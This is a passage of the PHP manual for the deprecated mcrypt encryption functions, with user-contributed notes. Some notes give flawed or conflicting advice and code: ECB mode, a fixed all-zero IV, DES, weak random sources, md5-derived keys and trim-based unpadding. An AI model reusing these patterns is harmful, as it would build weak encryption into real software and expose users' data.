I also suggest reading Practical Cryptography by Bruce Schneier, as well as Cryptography Engineering by Niels Ferguson, both of which are very easy-to-digest books on practical cryptography.
nils at nm dot cx 19-Jun-2012 09:26
If you use /dev/random you need a well filled entropy pool or the application will block until enough good entropy comes available
hans at llis dot nl 29-Apr-2012 07:01
This does NOT generate randomly distributed IV's on all systems and therefore poses a big security risk. Using a script (based on the one that Alex Khimch's posted on the rand() page) one can easily check this:

<?php

$td = mcrypt_module_open (MCRYPT_RIJNDAEL_256, "", MCRYPT_MODE_CBC, "");
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_DEV_RANDOM);

// header("Content-type: image/png");
$img = imagecreatetruecolor(255,255);

$ink = imagecolorallocate($img,255,255,255);
for($i=0;$i<255;$i++) {
  for($j=0;$j<255;$j++) {
  $twobytes = substr ($iv, 0, 2);
  $iv = substr ($iv, 2);
  if (!strlen ($iv)) $iv = mcrypt_create_iv (mcrypt_enc_get_iv_size ($td), MCRYPT_RAND);

  imagesetpixel($img, ord($twobytes[0]), ord($twobytes[1]), $ink);
  }
}

imagepng($img);
imagedestroy($img);

?>

The resulting image should show random noise, but on the windows systems I tested (running PHP 5.3.x) it showed very distinct patterns.
Matthew 26-Sep-2008 04:09
I encrypt a few items on a page in a project i am working on and I have found the IV create function to introduce huge delays in rendering the page too (I noticed someone else here had this problem).

It's quite common for a 4 second render time for what should be a snappy site. I would recommend that if speed is essential that an alternative method be used to create your IV (such as the one below if you feel it secure enough).

After using an alternative IV creation method my page went from a 4 second render to a 0.01 second render time.
Chris 06-Nov-2006 12:07
>First, the IV should be random and variable. The whole >point of it is to ensure that the same plaintext does not >encrypt to the same ciphertext every time. You most >certainly do lose security if the IV is constant or public.

Wrong, Wrong WRONG! The initialization vector is ALLOWED to be PUBLIC! It is generally sent along with the ciphertext, UNENCRYPTED.

>The ciphertext should be E(IV | plaintext, key)

Wrong again! The initialization vector is NOT prepended to the plaintext before encryption. The IV is used to seed the feedback system! (which is why you don't need one in ECB mode - there is no feedback)

>Second, the IV should not be part of the decryption >parameters at all. You should be able to decrypt the cipher >text, throw away the initial vector at the front w/o even >reading it, and have your plaintext:

Nope. You need to seed the feedback mechanism during decryption to the SAME state as it was seeded during encryption. This means using the SAME IV!
kkaiser at dataresolutions dot com 12-Jul-2006 03:04
Clarification: I meant to type MCRYPT_DEV_RANDOM, MCRYPT_DEV_URANDOM and MCRYPT_RAND in the previous note, instead of DEV_RANDOM, DEV_URANDOM and DEV_RAND. :)
kkaiser at dataresolutions dot com 11-Jul-2006 10:26
After profiling a rather large, dynamic website I maintain to determine the cause of intermittent freezing in execution, I found that calls to mcrypt_create_iv() using DEV_RANDOM as the source consistently halted execution for anywhere from 0.2 to ~12 seconds per call, ironically at random. I'm making the assumption that the halts were caused by insufficient random input being currently available in /dev/random due to its intended function to block until enough random input is provided back to the device. I've found it to be sufficient for my needs to use a modified version of the alt_mcrypt_create_iv() function found below.

Although untested, I assume using DEV_URANDOM or a combination of DEV_RAND with srand() would've solved the problem as well; I found out after the fact that /dev/urandom's intended function is to seamlessly provide cryptographically secure output from the random number generator when the /dev/urandom buffer was empty, and DEV_RAND would simply use the same rand() function as alt_mcrypt_create_iv().

-Kevin Kaiser
Anonymous 17-Oct-2005 06:01
At:
edwardzyang at thewritingpot dot com
19-Jul-2005 10:06

This is because of the fact, that (like described in the manual above) this function does NOT reseed the random number generator, in contrary to rand(). Use srand() like suggested above to get correct IVs.
04-Sep-2005 08:12
Correction to the last comment, the second parameter of rtrim() uses double quotes, not single quotes.

So the corrected code is as follows:

    $retval = rtrim($retval, "\0");    // trim ONLY the nulls at the END

;)
tim at indigopixel dot com 18-Mar-2004 01:32
From http://www.ciphersbyritter.com/GLOSSARY.HTM#IV (linked to above):

"While it is often said that IV values need only be random-like or unpredictable, and need not be confidential, in the case of CBC mode, that advice can lead to man-in-the-middle attacks on the first plaintext block. If a MITM opponent knows the usual content of the first block, they can change the IV to manipulate that block (and only that block) to deliver a different address, or different dollar amounts, or different commands, or whatever. And while the conventional advice is to use a MAC at a higher level to detect changed plaintext, that is not always desirable or properly executed. But the CBC first-block problem is easily solved at the CBC level simply by enciphering the IV and otherwise keeping it confidential, and that can be reasonable even when a MAC will be used later."
robert at peakepro dot com 03-Mar-2004 09:25
It is important to note that all cipher modes except ecb require the same IV to be used in decryption as was used in encryption.

You need to pass the key *and* the IV to your decrypt function. Initializing a new IV in the decrypt routine will not work.

Since, "you even can send [the IV] along with your ciphertext without  loosing security," a nice way to handle this is to prepend your IV to your ciphertext. Since the IV is fixed-width, you can then easily recover the IV and original ciphertext using mcrypt_get_iv_size() and substr().

Here is an example:

<?PHP
function my_encrypt($string,$key) {
   srand((double) microtime() * 1000000); //for sake of MCRYPT_RAND
   $key = md5($key); //to improve variance
  /* Open module, and create IV */
  $td = mcrypt_module_open('des', '','cfb', '');
  $key = substr($key, 0, mcrypt_enc_get_key_size($td));
  $iv_size = mcrypt_enc_get_iv_size($td);
  $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
  /* Initialize encryption handle */
   if (mcrypt_generic_init($td, $key, $iv) != -1) {

      /* Encrypt data */
      $c_t = mcrypt_generic($td, $string);
      mcrypt_generic_deinit($td);
      mcrypt_module_close($td);
       $c_t = $iv.$c_t;
       return $c_t;
   } //end if
}

function my_decrypt($string,$key) {
   $key = md5($key); //to improve variance
  /* Open module, and create IV */
  $td = mcrypt_module_open('des', '','cfb', '');
  $key = substr($key, 0, mcrypt_enc_get_key_size($td));
  $iv_size = mcrypt_enc_get_iv_size($td);
  $iv = substr($string,0,$iv_size);
  $string = substr($string,$iv_size);
  /* Initialize encryption handle */
   if (mcrypt_generic_init($td, $key, $iv) != -1) {

      /* Encrypt data */
      $c_t = mdecrypt_generic($td, $string);
      mcrypt_generic_deinit($td);
      mcrypt_module_close($td);
       return $c_t;
   } //end if
}
// to test:
//print my_decrypt(my_encrypt("Hello, world.","foo"),"foo");
?>
fandelem at hotmail dot com 07-Mar-2002 12:59
note: if you are experiencing a problem about complaining that the second parameter has to be a 'long' and you are giving a 'string' (for me, it was using MCRYPT_URANDOM) you might want to try MCRYPT_DEV_URANDOM :)


Decrypts crypttext with given parameters

  • « mcrypt_create_iv
  • mcrypt_ecb »
  • PHP Manual
  • Mcrypt Functions
  • Decrypts crypttext with given parameters

mcrypt_decrypt

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_decrypt — Decrypts crypttext with given parameters

Description

string mcrypt_decrypt ( string $cipher , string $key , string $data , string $mode [, string $iv ] )

Decrypts the data and returns the unencrypted data.

Parameters

cipher

One of the MCRYPT_ciphername constants, or the name of the algorithm as string.

key

The key with which the data was encrypted. If the provided key size is not supported by the cipher, the function will emit a warning and return FALSE

data

The data that will be decrypted with the given cipher and mode. If the size of the data is not n * blocksize, the data will be padded with '\0'.

mode

One of the MCRYPT_MODE_modename constants, or one of the following strings: "ecb", "cbc", "cfb", "ofb", "nofb" or "stream".

iv

Used for the initialization in CBC, CFB, OFB modes, and in some algorithms in STREAM mode. If the provided IV size is not supported by the chaining mode or no IV was provided, but the chaining mode requires one, the function will emit a warning and return FALSE.

Return Values

Returns the decrypted data as a string or FALSE on failure.

Changelog

Version | Description
5.6.0 | Invalid key and iv sizes are no longer accepted. mcrypt_decrypt() will now throw a warning and return FALSE if the inputs are invalid. Previously keys and IVs were padded with '\0' bytes to the next valid size.

See Also

  • mcrypt_encrypt() - Encrypts plaintext with given parameters

User Contributed Notes

artaxerxes2 at iname dot com 22-May-2013 01:17
To decrypt data coming from MySQL's AES_ENCRYPT function:

<?php

function mysql_aes_key($key)
{
    $new_key = str_repeat(chr(0), 16);
    for($i=0,$len=strlen($key);$i<$len;$i++)
    {
        $new_key[$i%16] = $new_key[$i%16] ^ $key[$i];
    }
    return $new_key;
}

function aes_decrypt($encrypted,$key)
{
    // if $encrypted is HEXed, then return it to binary
    $encrypted = pack('H*',$encrypted);

    $key = mysql_aes_key($key);
    return rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$key,$encrypted,MCRYPT_MODE_ECB,''),"\x00..\x1F");
}

?>

adapted from the article "Replicating MySQL AES Encryption Methods With PHP" (dated 2012-05-20) found somewhere online.
beltrachi 30-Sep-2011 09:34
Caution, MCRYPT_RIJNDAEL_256 is not equivalent to AES_256.

The way to make RIJNDAEL be decrypted from AES with openssl is to use MCRYPT_RIJNDAEL_128 and padd the string to encrypt before encrypting with the follwing function:

<?php
function pkcs5_pad ($text, $blocksize) {
    $pad = $blocksize - (strlen($text) % $blocksize);
    return $text . str_repeat(chr($pad), $pad);
}
?>

On the decryption, the choosing of AES_256 or AES_128, etc. is based on the keysize used in the crypting. In my case it was a 128bit key so I used AES_128.
evangelion207 at hotmail dot com 17-Apr-2011 05:24
Be careful, sometimes mcrypt_decrypt return additional white spaces to the uncrypted string; use trim() for deleting them. I was like 2 hours searching the error and it was that..
Anonymous 24-Nov-2010 12:41
To remove PKCS7 padding:

<?php
    $decrypted = mdecrypt_generic($td, base64_decode($enc_auth_token));
    $dec_s = strlen($decrypted);
    $padding = ord($decrypted[$dec_s-1]);
    $decrypted = substr($decrypted, 0, -$padding);
?>
david at sickmiller dot com 02-Oct-2008 07:15
If you happen to be decrypting something encrypted in ColdFusion, you'll discover that its encrypt function apparently pads the plaintext with ASCII 4, the "end of transmission" character.

Building on eddiec's code, you can remove both nulls and EOTs with this:

<?php
    $retval = mcrypt_decrypt( ...etc ...);
    $retval = rtrim($retval, "\0\4");     // trim ONLY the nulls and EOTs at the END
?>
eddiec at stararcher dot com 14-Jul-2005 03:26
It appears that mcrypt_decrypt pads the *RETURN STRING* with nulls ('\0') to fill out to n * blocksize.  For old C-programmers, like myself, it is easy to believe the string ends at the first null.  In PHP it does not:

    strlen("abc\0\0") returns 5 and *NOT* 3
    strcmp("abc", "abc\0\0") returns -2 and *NOT* 0

I learned this lesson painfully when I passed a string returned from mycrypt_decrypt into a NuSoap message, which happily passed the nulls along to the receiver, who couldn't figure out what I was talking about.

My solution was:
<?php
    $retval = mcrypt_decrypt( ...etc ...);
    $retval = rtrim($retval, "\0");     // trim ONLY the nulls at the END
?>


Deprecated: Encrypts/decrypts data in ECB mode

  • « mcrypt_decrypt
  • mcrypt_enc_get_algorithms_name »
  • PHP Manual
  • Mcrypt Functions
  • Deprecated: Encrypts/decrypts data in ECB mode

mcrypt_ecb

(PHP 4, PHP 5)

mcrypt_ecb — Deprecated: Encrypts/decrypts data in ECB mode

Description

string mcrypt_ecb ( int $cipher , string $key , string $data , int $mode )
string mcrypt_ecb ( string $cipher , string $key , string $data , int $mode [, string $iv ] )

The first prototype is when linked against libmcrypt 2.2.x, the second when linked against libmcrypt 2.4.x or higher. The mode should be either MCRYPT_ENCRYPT or MCRYPT_DECRYPT.

This function is deprecated and should not be used anymore, see mcrypt_generic() and mdecrypt_generic() for replacements.

Warning

This function has been DEPRECATED as of PHP 5.5.0. Relying on this function is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.


Returns the name of the opened algorithm

  • « mcrypt_ecb
  • mcrypt_enc_get_block_size »
  • PHP Manual
  • Mcrypt Functions
  • Returns the name of the opened algorithm

mcrypt_enc_get_algorithms_name

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_algorithms_name — Returns the name of the opened algorithm

Description

string mcrypt_enc_get_algorithms_name ( resource $td )

This function returns the name of the algorithm.

Parameters

td

The encryption descriptor.

Return Values

Returns the name of the opened algorithm as a string.

Examples

Example #1 mcrypt_enc_get_algorithms_name() example

<?php
$td = mcrypt_module_open(MCRYPT_CAST_256, '', MCRYPT_MODE_CFB, '');
echo mcrypt_enc_get_algorithms_name($td). "\n";

$td = mcrypt_module_open('cast-256', '', MCRYPT_MODE_CFB, '');
echo mcrypt_enc_get_algorithms_name($td). "\n";
?>

The above example will output:

CAST-256
CAST-256

User Contributed Notes

php-manual2 at omershenker dot net 14-May-2003 12:44
For some reason this function (but not mcrypt_list_algorithms()) returns each element in the array twice. If you have this problem, try array_unique(mcrypt_list_algorithms()).


Returns the blocksize of the opened algorithm

  • « mcrypt_enc_get_algorithms_name
  • mcrypt_enc_get_iv_size »
  • PHP Manual
  • Mcrypt Functions
  • Returns the blocksize of the opened algorithm

mcrypt_enc_get_block_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_block_size — Returns the blocksize of the opened algorithm

Description

int mcrypt_enc_get_block_size ( resource $td )

Gets the blocksize of the opened algorithm.

Parameters

td

The encryption descriptor.

Return Values

Returns the block size of the specified algorithm in bytes.

User Contributed Notes

There are no user contributed notes for this page.


Returns the size of the IV of the opened algorithm

  • « mcrypt_enc_get_block_size
  • mcrypt_enc_get_key_size »
  • PHP Manual
  • Mcrypt Functions
  • Returns the size of the IV of the opened algorithm

mcrypt_enc_get_iv_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_iv_size — Returns the size of the IV of the opened algorithm

Description

int mcrypt_enc_get_iv_size ( resource $td )

This function returns the size of the IV of the algorithm specified by the encryption descriptor in bytes. An IV is used in cbc, cfb and ofb modes, and in some algorithms in stream mode.

Parameters

td

The encryption descriptor.

Return Values

Returns the size of the IV, or 0 if the IV is ignored by the algorithm.

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum supported keysize of the opened mode

  • « mcrypt_enc_get_iv_size
  • mcrypt_enc_get_modes_name »
  • PHP Manual
  • Mcrypt Functions
  • Returns the maximum supported keysize of the opened mode

mcrypt_enc_get_key_size

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_key_size — Returns the maximum supported keysize of the opened mode

Description

int mcrypt_enc_get_key_size ( resource $td )

Gets the maximum supported key size of the algorithm in bytes.

Parameters

td

The encryption descriptor.

Return Values

Returns the maximum supported key size of the algorithm in bytes.

User Contributed Notes

There are no user contributed notes for this page.


Returns the name of the opened mode

  • « mcrypt_enc_get_key_size
  • mcrypt_enc_get_supported_key_sizes »
  • PHP Manual
  • Mcrypt Functions
  • Returns the name of the opened mode

mcrypt_enc_get_modes_name

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_modes_name — Returns the name of the opened mode

Description

string mcrypt_enc_get_modes_name ( resource $td )

This function returns the name of the mode.

Parameters

td

The encryption descriptor.

Return Values

Returns the name as a string.

Examples

Example #1 mcrypt_enc_get_modes_name() example

<?php
$td = mcrypt_module_open (MCRYPT_CAST_256, '', MCRYPT_MODE_CFB, '');
echo mcrypt_enc_get_modes_name($td). "\n";

$td = mcrypt_module_open ('cast-256', '', 'ecb', '');
echo mcrypt_enc_get_modes_name($td). "\n";
?>

The above example will output:

CFB
ECB

User Contributed Notes

There are no user contributed notes for this page.


Returns an array with the supported keysizes of the opened algorithm

  • « mcrypt_enc_get_modes_name
  • mcrypt_enc_is_block_algorithm_mode »
  • PHP Manual
  • Mcrypt Functions
  • Returns an array with the supported keysizes of the opened algorithm

mcrypt_enc_get_supported_key_sizes

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_get_supported_key_sizes — Returns an array with the supported keysizes of the opened algorithm

Description

array mcrypt_enc_get_supported_key_sizes ( resource $td )

Gets the supported key sizes of the opened algorithm.

Parameters

td

The encryption descriptor.

Return Values

Returns an array with the key sizes supported by the algorithm specified by the encryption descriptor. If it returns an empty array then all key sizes between 1 and mcrypt_enc_get_key_size() are supported by the algorithm.

Examples

Example #1 mcrypt_enc_get_supported_key_sizes() example

<?php
    $td = mcrypt_module_open('rijndael-256', '', 'ecb', '');
    var_dump(mcrypt_enc_get_supported_key_sizes($td));
?>

The above example will output:

array(3) {
  [0]=>
  int(16)
  [1]=>
  int(24)
  [2]=>
  int(32)
}

User Contributed Notes

There are no user contributed notes for this page.


Checks whether the encryption of the opened mode works on blocks

  • « mcrypt_enc_get_supported_key_sizes
  • mcrypt_enc_is_block_algorithm »
  • PHP Manual
  • Mcrypt Functions
  • Checks whether the encryption of the opened mode works on blocks

mcrypt_enc_is_block_algorithm_mode

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_is_block_algorithm_mode — Checks whether the encryption of the opened mode works on blocks

Description

bool mcrypt_enc_is_block_algorithm_mode ( resource $td )

Tells whether the algorithm of the opened mode works on blocks (e.g. FALSE for stream, and TRUE for cbc, cfb, ofb)..

Parameters

td

The encryption descriptor.

Return Values

Returns TRUE if the mode is for use with block algorithms, otherwise it returns FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Checks whether the algorithm of the opened mode is a block algorithm

  • « mcrypt_enc_is_block_algorithm_mode
  • mcrypt_enc_is_block_mode »
  • PHP Manual
  • Mcrypt Functions
  • Checks whether the algorithm of the opened mode is a block algorithm

mcrypt_enc_is_block_algorithm

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_is_block_algorithm — Checks whether the algorithm of the opened mode is a block algorithm

Description

bool mcrypt_enc_is_block_algorithm ( resource $td )

Tells whether the algorithm of the opened mode is a block algorithm.

Parameters

td

The encryption descriptor.

Return Values

Returns TRUE if the algorithm is a block algorithm or FALSE if it is a stream one.

User Contributed Notes

There are no user contributed notes for this page.


Checks whether the opened mode outputs blocks

  • « mcrypt_enc_is_block_algorithm
  • mcrypt_enc_self_test »
  • PHP Manual
  • Mcrypt Functions
  • Checks whether the opened mode outputs blocks

mcrypt_enc_is_block_mode

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_is_block_mode — Checks whether the opened mode outputs blocks

Description

bool mcrypt_enc_is_block_mode ( resource $td )

Tells whether the opened mode outputs blocks (e.g. TRUE for cbc and ecb, and FALSE for cfb and stream).

Parameters

td

The encryption descriptor.

Return Values

Returns TRUE if the mode outputs blocks of bytes, or FALSE if it outputs just bytes.

User Contributed Notes

There are no user contributed notes for this page.


Runs a self test on the opened module

  • « mcrypt_enc_is_block_mode
  • mcrypt_encrypt »
  • PHP Manual
  • Mcrypt Functions
  • Runs a self test on the opened module

mcrypt_enc_self_test

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_enc_self_test — Runs a self test on the opened module

Description

int mcrypt_enc_self_test ( resource $td )

This function runs the self test on the algorithm specified by the descriptor td.

Parameters

td

The encryption descriptor.

Return Values

If the self test succeeds it returns FALSE. In case of an error, it returns TRUE.

User Contributed Notes

There are no user contributed notes for this page.


Encrypts plaintext with given parameters

  • « mcrypt_enc_self_test
  • mcrypt_generic_deinit »
  • PHP Manual
  • Mcrypt Functions
  • Encrypts plaintext with given parameters

mcrypt_encrypt

(PHP 4 >= 4.0.2, PHP 5)

mcrypt_encrypt — Encrypts plaintext with given parameters

Description

string mcrypt_encrypt ( string $cipher , string $key , string $data , string $mode [, string $iv ] )

Encrypts the data and returns it.

Parameters

cipher

One of the MCRYPT_ciphername constants, or the name of the algorithm as string.

key

The key with which the data will be encrypted. If the provided key size is not supported by the cipher, the function will emit a warning and return FALSE

data

The data that will be encrypted with the given cipher and mode. If the size of the data is not n * blocksize, the data will be padded with '\0'.

The returned crypttext can be larger than the size of the data that was given by data.

mode

One of the MCRYPT_MODE_modename constants, or one of the following strings: "ecb", "cbc", "cfb", "ofb", "nofb" or "stream".

iv

Used for the initialization in CBC, CFB, OFB modes, and in some algorithms in STREAM mode. If the provided IV size is not supported by the chaining mode or no IV was provided, but the chaining mode requires one, the function will emit a warning and return FALSE.

Return Values

Returns the encrypted data as a string or FALSE on failure.

Changelog

Version | Description
5.6.0 | Invalid key and iv sizes are no longer accepted. mcrypt_encrypt() will now throw a warning and return FALSE if the inputs are invalid. Previously keys and IVs were padded with '\0' bytes to the next valid size.

Examples

Example #1 mcrypt_encrypt() Example

<?php
    # --- ENCRYPTION ---

    # the key should be random binary, use scrypt, bcrypt or PBKDF2 to
    # convert a string into a key
    # key is specified using hexadecimal
    $key = pack('H*', "bcb04b7e103a0cd8b54763051cef08bc55abe029fdebae5e1d417e2ffb2a00a3");

    # show key size use either 16, 24 or 32 byte keys for AES-128, 192
    # and 256 respectively
    $key_size =  strlen($key);
    echo "Key size: " . $key_size . "\n";

    $plaintext = "This string was AES-256 / CBC / ZeroBytePadding encrypted.";

    # create a random IV to use with CBC encoding
    $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);

    # creates a cipher text compatible with AES (Rijndael block size = 128)
    # to keep the text confidential
    # only suitable for encoded input that never ends with value 00h
    # (because of default zero padding)
    $ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key,
                                 $plaintext, MCRYPT_MODE_CBC, $iv);

    # prepend the IV for it to be available for decryption
    $ciphertext = $iv . $ciphertext;

    # encode the resulting cipher text so it can be represented by a string
    $ciphertext_base64 = base64_encode($ciphertext);

    echo  $ciphertext_base64 . "\n";

    # === WARNING ===

    # Resulting cipher text has no integrity or authenticity added
    # and is not protected against padding oracle attacks.

    # --- DECRYPTION ---

    $ciphertext_dec = base64_decode($ciphertext_base64);

    # retrieves the IV, iv_size should be created using mcrypt_get_iv_size()
    $iv_dec = substr($ciphertext_dec, 0, $iv_size);

    # retrieves the cipher text (everything except the $iv_size in the front)
    $ciphertext_dec = substr($ciphertext_dec, $iv_size);

    # may remove 00h valued characters from end of plain text
    $plaintext_dec = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key,
                                    $ciphertext_dec, MCRYPT_MODE_CBC, $iv_dec);

    echo  $plaintext_dec . "\n";
?>

The above example will output:

Key size: 32
ENJW8mS2KaJoNB5E5CoSAAu0xARgsR1bdzFWpEn+poYw45q+73az5kYi4j+0haevext1dGrcW8Qi59txfCBV8BBj3bzRP3dFCp3CPQSJ8eU=
This string was AES-256 / CBC / ZeroBytePadding encrypted.

See Also

  • mcrypt_decrypt() - Decrypts crypttext with given parameters
  • mcrypt_module_open() - Opens the module of the algorithm and the mode to be used

User Contributed Notes

gm dot outside+php at gmail dot com 16-Oct-2014 01:52
Please note that the following part of the documentation is no longer true (after commit: http://git.php.net/?p=php-src.git;a=commit;h=a861a3a93d89a50ce58e1ab1abef1eb501f97483):

> key
> The key with which the data will be encrypted. If it's smaller than the required keysize, it is padded with '\0'. It is better not to use ASCII strings for keys.

That commit changed the behaviour to be strict and if the keysize is smaller than the required size a warning will be issued as follows:

Warning: mcrypt_encrypt(): Key of size 10 not supported by this algorithm. Only keys of size 16 supported in script.php on line 5

and the mcrypt_encode() will return failure.
stefan at katic dot me dot rs 16-Jan-2014 07:53
I was trying (and succeeded) to encrypt and decrypt in JAVA, pass it to php, and do it again,without corrupting data when I noticed something interesting. So, my code goes like this:
$data = 'one';
$key = '1234567890123456';

function encrypt($data, $key){
    return base64_encode(
    mcrypt_encrypt(
        MCRYPT_RIJNDAEL_128,
        $key,
        $data,
        MCRYPT_MODE_CBC,
        "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
    )
);
}
function decrypt($data, $key){
    $decode = base64_decode($data);
    return mcrypt_decrypt(
                    MCRYPT_RIJNDAEL_128,
                    $key,
                    $decode,
                    MCRYPT_MODE_CBC,
                    "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
            );

}
$encrypted = encrypt($data, $key);
$decrypted= decrypt($encrypted, $key);

//In the beginning, I thought something's wrong, because I did '===' comparison between $decrypted and $data. It didn't work (but later started working, again, dont know why...) So, I dumped both:
var_dump($data);
var_dump($decrypted);
//Results:
string(16) "one"
string(16) "one"
//Clearly, the length of both is 3, not 16. Just wanted to let you know what could happen, and I really don't know if this is a bug...
Thanks,
S.
MadMass 20-Mar-2013 06:42
Note that the IV must be the same for mcrypt_encrypt and mcrypt_decrypt, otherwise you will have corrupted data after decryption.
Scott.a.Herbert at googlemail.com 07-Oct-2012 06:49
It is always better to use a standard encryption cipher's rather than to "roll your own", firstly the standard cipher has been tested by world class crypto-analysis's where as unless your a world class crypto-analysis (and if you are why are you even thinking of rolling your own?!?) you won't have the skills needed to even test it (for example if you just XOR each character with a key, it may look secure (the text will be different) but if you count the number of times a character is repeated you see whatever the letter "E" encrypts to occurs more often then the encrypted "Z" (assuming English language plain text)

Secondly, you may think that the hidden nature of your cipher makes it more secure, but the fact is that your cipher is likely *only* secure because it's secret, if someone what able to break-in to your site and steal your code (but not your key) they maybe able break you encrypted data, if someone broke in and found you where using Blowfish (for example) it wouldn't help them.
Anonymous 13-May-2011 04:03
In the other notes there are some misconceptions about crypto and the IV, especially for CBC mode.

The most important point: Encryption DOES NOT provide any proof of data integrity or authentication WHATSOEVER. If you need to be sure that the data is secret and not tampered with, you need to encrypt THEN use a keyed HMAC.

For CBC mode, the IV DOES NOT need to be secret. It can be sent along with the plaintext. It needs to be UNIQUE and RANDOM. So that every message is encrypted with a different IV.

The best way to generate an IV is to use mcrypt_create_iv().

Keys must be binary, not ASCII. To create a key from a password:

<?php
$password = "MyPassword!1!";
$aes256Key = hash("SHA256", $password, true); //we want a 32 byte binary blob
?>
Anonymous 16-Jan-2011 08:40
I've noticed some people using a-z, A-Z and 0-9 for keys and stating things like "16 characters is a 128-bit key". This isn't true. Using only these characters, you will get at most 6 bits of entropy per chartacter:

log2(26 + 26 + 10) = 5.954196310386876

So you're actually only getting 95 bits of entropy in 16 characters, which is 0.0000000117% of the keyspace you would get if you were using the full range.

In order to get the full entropy from a key using just a-z, A-Z and 0-9 you should multiply your key length by 1.3333 to account for the 2 bits of lost entropy per byte.
Robin Leffmann 09-Mar-2010 02:58
Contrary to what is implied in the mcrypt_encrypt() manual page, as well as the info given regarding the CBC vs CFB modes, mcrypt_encrypt() works just fine for encrypting binary data as well.

A simple example verifies that the decrypted output is binary identical once cut to its original length:

<?php

// 448-bit key (56 bytes) - the only size that mcrypt/php uses for the Blowfish cipher
// (using a smaller key works just fine, as mcrypt appends \0 to reach proper key-size)
$key = 'SADFo92jzVnzSj39IUYGvi6eL8v6RvJH8Cytuiouh547vCytdyUFl76R';

// Blowfish/CBC uses an 8-byte IV
$iv = substr( md5(mt_rand(),true), 0, 8 );

// do 50 encrypt/decrypt operations on some random data, and verify integrity with md5()
for( $i = 0; $i < 50; $i++ )
{
    // create a random, binary string of random length
    $size = mt_rand( 25000, 500000 );
    $c = 0; $data = null;
    while( $c++ * 16 < $size )
        $data .= md5( mt_rand(), true );
    $data = substr( $data, 0, $size );
    $cksum = md5( $data );

    // encrypt using Blowfish/CBC
    $enc = mcrypt_encrypt( MCRYPT_BLOWFISH, $key, $data, MCRYPT_MODE_CBC, $iv );

    echo $size . ' -> ' . strlen( $enc ) . ' -> ';

    // decrypt (using same IV - a must for the CBC mode)
    $dec = mcrypt_decrypt( MCRYPT_BLOWFISH, $key, $enc, MCRYPT_MODE_CBC, $iv );

    // cut the output with substr(), NOT by using rtrim() as is suggested in some of
    // the mcrypt manual pages - this is binary data, not plaintext
    echo ( md5(substr($dec, 0, $size)) == $cksum ? 'ok' : 'bad' ) . PHP_EOL;
}

?>
Anonymous 17-Oct-2007 01:15
I should mention that ECB mode ignores the IV, so it is misleading to show an example using both MCRYPT_MODE_ECB and an IV (the example in the manual shows the same thing).  Also, it's important to know that ECB is useful for random data, but structured data should use a stronger mode like MCRYPT_MODE_CBC

Also, rtrim($decryptedtext, "\0") would be a better option to remove NULL padding than my lazy trim()...
dylan at wedefy dot com 16-Oct-2007 05:27
I wasn't too impressed with the suggested functions/classes for using mcrypt, so I wrote my own class.  The encypted output is base64 encoded so it can be used in URLs, emails, etc.  MCRYPT_RIJNDAEL_256 is probably too secure for most uses, using a less secure algorithm should mean that the encryption will be faster and the encrypted output shorter (make sure to update iv_size in mcrypt_create_iv() and key length to match the new algorithm).  If you are going to use only 1 passphrase, you should define it inside __construct($this->securekey) instead of when creating the object. Keep the class in a separate include file which is only readable by your webserver (or whatever needs it) for added security.

<?php
class Cipher {
    private $securekey, $iv;
    function __construct($textkey) {
        $this->securekey = hash('sha256',$textkey,TRUE);
        $this->iv = mcrypt_create_iv(32);
    }
    function encrypt($input) {
        return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
    }
    function decrypt($input) {
        return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
    }
}

$cipher = new Cipher('secret passphrase');

$encryptedtext = $cipher->encrypt("hide me");
echo "->encrypt = $encryptedtext<br />";

$decryptedtext = $cipher->decrypt($encryptedtext);
echo "->decrypt = $decryptedtext<br />";

var_dump($cipher);
?>
stonecypher at gmail dot com 11-Sep-2006 10:11
Most of the user-written cipher examples here are badly broken, and there are a few cases where the manual says things that are outright incorrect, such as that it's "safe to transmit the initialization vector in plaintext" (this is incorrect: see Ciphers By Ritter, http://www.ciphersbyritter.com/GLOSSARY.HTM#IV ,  for details.)

mcrypt itself is perfectly safe, but correct and therefore safe usage is inobvious.  It is important to use a cryptographic library correctly; a simple usage error, even when it produces results that can be unpacked at the other side, can render a strong algorithm completely useless.

The initialization vector must be permuted with a recoverable noise source (an arbitrary md5 hash is acceptable, since it's just a fake OTP and its origin contents are wholly unimportant.)

Passwords should be remade with a salted one-way hash (md5 is again acceptable even though it's been damaged, since the only thing you could recover from a cracked md5 hash is the source data to generate the password, which is useless.)

It's important to use a sane block mode (OFB is unsafe for almost all algorithms; never use it.  Prefer CBC in all cases except where you need to deal with a degraded signal and cannot retransmit.)

A correct usage example is actually pretty long and needs a lot of explanation, so I developed a safe wrapper library which doesn't constrain usage and which comments itself very heavily.  It's appropriate for use or for learning.  Please see my blog for details on Stone PHP SafeCrypt:

http://blog.sc.tri-bit.com/archives/101
ale_ferrer at yahoo dot com 24-Jul-2006 11:35
Mcript - Dot NET - 3DES problem.

